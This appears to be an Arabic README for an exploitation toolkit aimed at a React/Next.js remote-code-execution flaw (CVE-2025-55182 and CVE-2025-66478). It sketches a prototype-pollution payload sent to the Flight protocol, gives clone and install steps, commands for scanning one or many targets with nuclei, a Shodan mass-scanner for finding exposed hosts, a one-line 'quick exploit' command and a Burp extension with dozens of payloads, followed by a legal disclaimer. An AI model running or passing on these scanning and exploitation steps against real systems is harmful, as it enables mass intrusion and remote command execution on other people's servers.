// المهاجم يرسل حمولة ضارة لبروتوكول Flight
POST / HTTP/1.1
Next-Action: exploit
Content-Type: multipart/form-data

{"__proto__": "pollution", "then": "gadget_chain"} 
    ↓
إلغاء تسلسل غير آمن
    ↓
تلويث النموذج الأولي
    ↓
💥 تنفيذ الأوامر عن بُعد 💥

# استنساخ المستودع
git clone https://github.com/cybertechajju/R2C-CVE-2025-55182-66478.git
cd R2C-CVE-2025-55182-66478

# تثبيت متطلبات Python
pip install -r requirements.txt
pip install -r exploits/requirements.txt

# مسح هدف واحد
nuclei -t nuclei-templates/cve-2025-55182.yaml -u https://target.com

# مسح أهداف متعددة
nuclei -t nuclei-templates/cve-2025-55182.yaml -l targets.txt

# وضع المعالج التفاعلي
python exploits/shodan_scanner_advanced.py

# أو باستخدام مفتاح API مباشرة
python exploits/shodan_scanner_advanced.py --api YOUR_SHODAN_API_KEY

# الوضع التفاعلي
bash exploits/scanner_advanced.sh -i

# استغلال سريع
bash exploits/scanner_advanced.sh -d https://target.com -p 2

cve-2025-55182/
├── 📂 nuclei-templates/          # قوالب Nuclei بصيغة YAML
│   └── cve-2025-55182.yaml       # قالب كشف متقدم
├── 📂 exploits/                  # أدوات الاستغلال
│   ├── shodan_scanner_advanced.py   # ماسح Shodan الجماعي
│   ├── scanner_advanced.sh          # إطار عمل Bash للاستغلال
│   └── requirements.txt             # متطلبات Python
├── 📂 burp-extension/            # إضافة Burp Suite
│   ├── React2Shell_Burp.py       # الإضافة الرئيسية (أكثر من 30 حمولة)
│   ├── payloads.json             # مكتبة الحمولات
│   └── detection_rules.json      # أنماط الكشف
├── 📂 burp bechek/               # ملفات BCheck لماسح Burp
│   ├── CVE-2025-55182-React2Shell-Active.bcheck
│   └── CVE-2025-66478-NextJS-React2Shell-Active.bcheck
└── 📄 README.md                  # هذا الملف

╔═══════════════════════════════════════════════════════════════╗
║                    ⚠️  تحذير حاسم ⚠️                          ║
╚═══════════════════════════════════════════════════════════════╝

هذه الحزمة مخصصة لاختبار الأمان المصرح به فقط.

⚖️  الاستخدام القانوني:
   ✅ اختبار الاختراق بتفويض كتابي
   ✅ برامج مكافآت الأخطاء ضمن النطاق المحدد
   ✅ البحث الأمني على البنية التحتية المملوكة
   ✅ الأغراض التعليمية في مختبرات خاضعة للرقابة

❌ الأنشطة غير القانونية:
   ⛔ الوصول غير المصرح به للنظام
   ⛔ الاستغلال الخبيث
   ⛔ سرقة أو تدمير البيانات
   ⛔ نشر البرامج الضارة

باستخدام هذه الحزمة، فإنك توافق على استخدامها بشكل أخلاقي وقانوني.
الوصول غير المصرح به لأنظمة الكمبيوتر غير قانوني بموجب:
• قانون الاحتيال وإساءة استخدام الكمبيوتر (CFAA) - الولايات المتحدة
• قانون إساءة استخدام الحاسوب - المملكة المتحدة
• قوانين مماثلة حول العالم

🔒 أنت وحدك المسؤول عن أفعالك.